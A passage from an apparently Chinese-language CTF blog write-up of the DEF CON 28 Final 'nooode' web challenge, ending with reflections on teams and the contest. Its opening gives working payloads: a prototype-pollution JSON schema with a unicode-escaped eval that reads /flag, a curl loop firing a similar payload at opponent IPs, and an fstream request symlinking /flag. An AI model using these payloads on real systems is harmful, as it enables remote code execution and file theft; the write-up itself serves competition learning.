{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"outputFunctionName":{"type":"string","default":"x;return eval(`\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\\u002e\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\\u002e\\u0072\\u0065\\u0071\\u0075\\u0069\\u0072\\u0065\\u0028\\u0060\\u0066\\u0073\\u0060\\u0029\\u002e\\u0072\\u0065\\u0061\\u0064\\u0046\\u0069\\u006c\\u0065\\u0053\\u0079\\u006e\\u0063\\u0028\\u0060\\u002f\\u0066\\u006c\\u0060\\u002b\\u0060\\u0061\\u0067\\u0060\\u0029\\u002e\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0028\\u0060\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u0060\\u0029`);//x"},"path":{"type":"string","default":"/foo"}}}}}}

赛后跟 /bin/tw 的选手交流了一下,他们的 payload 到后面仍然可以打好几个队,于是去要了一份 POC ,如下,也是大概类似的一个写法:

curl http://10.13.37.$i:14017/config/validated/json-schema/validate -H 'content-type: application/json' --data '{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"outputFunctionName":{"type":"string","default":"x;var buf = Buffer.alloc(128);var fs = process.mainModule.require(`fs`);var fd=fs.openSync(`/fl`+`ag`);fs.readSync(fd, buf, 0, 128);fs.closeSync(fd);return buf.toString();//x"},"path":{"type":"string","default":"/foo"}}}}}}'

fstream

还有一个是我们队大师傅找的

POST /config/validated/fstream/Writer HTTP/1.1
Host: zedd.vv:4017
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 77

{"type":"SymbolicLink","linkpath":"/flag","path":"public/stylesheets/11.png"}

这个也没什么好分析的,文档看一看:https://github.com/npm/fstream 就好了,这里当时我们貌似还捣鼓了一会 json 传参啥的,但是后来试了一下application/x-www-form-urlencoded 也可以

Conclusion

About The Web

这次 Web 当时比赛我们也都在吐槽,因为这个 Web 题当时觉得并不是很好,简直就直接给了一个后门,而且确实整个比赛弄起来不仅是 Web 这个后门似的洞,还有其他题目听其他大师傅吐槽也都是找后门的题目。

后面看了出题人相关的讲述,讲述视频地址:nooode DEF CON 28 CTF Challenge w/ Guest kaptain | CTF Radiooo 003 ,后来觉得吧,确实也还过得去,这个题目增加了一些多元化的设计,因为引入了很多 lib ,所以有很多姿势可以去尝试,可以去挖,比赛途中那次重置应该也就是加强了 checker ,也看得出 OOO 在这方面还是尽力了。(如果你删掉题目给的 node_modules ,然后重新 install 的话,会发现官方给的多出一个 vm2 ,当时我们就在想难不成还可能是 vm2 逃逸?但是后面找了一会没找到就放弃了这条路。((因为我们当时想万一 OOO 还别有用心地再放一个后门在 node_modules 呢?毕竟 Backdooor CTF

这次虽然简单,但是确实也让我增加了一些对于如何设计 AWD Web 题目的思考,包括 @Zach Wade 也有类似的想法:

​ Although I might sound frustrated by this, I think it’s actually an example of really good A/D problem design. Even though the application was straightforward, it presented a variety of options for exploitation.

Something Else

还有一些比较有意思的事就是,A0E 的同学说,我们队的大师傅手绕 A0E 如果再多打一轮,那么这次的结果就不一样了,也因为这个保证了与 PPP 高出的两分的差距。(这难道不值得一顿饭吗?

根据一些现有的报道,以及向一些 A0E 的同学考证一些问题,比如他们真的是很早就准备了吗?真的有对每个人分特性,每个人擅长什么吗等等问题,都得到了肯定的回答,不得不佩服 A0E 的团队管理协作能力 orz 而且根据他们结束当天的合照来看估计也得有50多人左右吧。(据说 Samurai 参赛人数达到了恐怖的150人

虽然 PPP 表示自己 “Since DEF CON CTF is such an important competition for us, we traditionally spend the month leading up to it in preparation and organization. This year, we did not.” ,但是也展示出了一如既往对 DEFCON 的统治力。

自己在比赛的时候由于自身能力较差以及第一次跟大师傅们配合,当时比赛配合得不是相当的好,可能导致了一些失分,如果以后还有机会,希望自己提升能力的同时,也能尽量提高一些合作的能力。

总的来说,泡面、外卖很好吃,公司办公椅很舒服,“网管”运维选手非常给力,大师傅们都非常非常的厉害。今年对一开始的 KOH 以及最后的 Web 做了一点点微小的贡献,如果以后有机会的话希望能做到更大的贡献叭!

再次恭喜 A*0*E 拿到 DEFCON 28 CTF Final 冠军!

Others Notes

PPP – Zach Wade 的回顾: Kernel Panic: A DEF CON 2020 Retrospective

r3kapig – Y1ng 的回顾:DEFCON 28 CTF Final Safe Mode参赛记录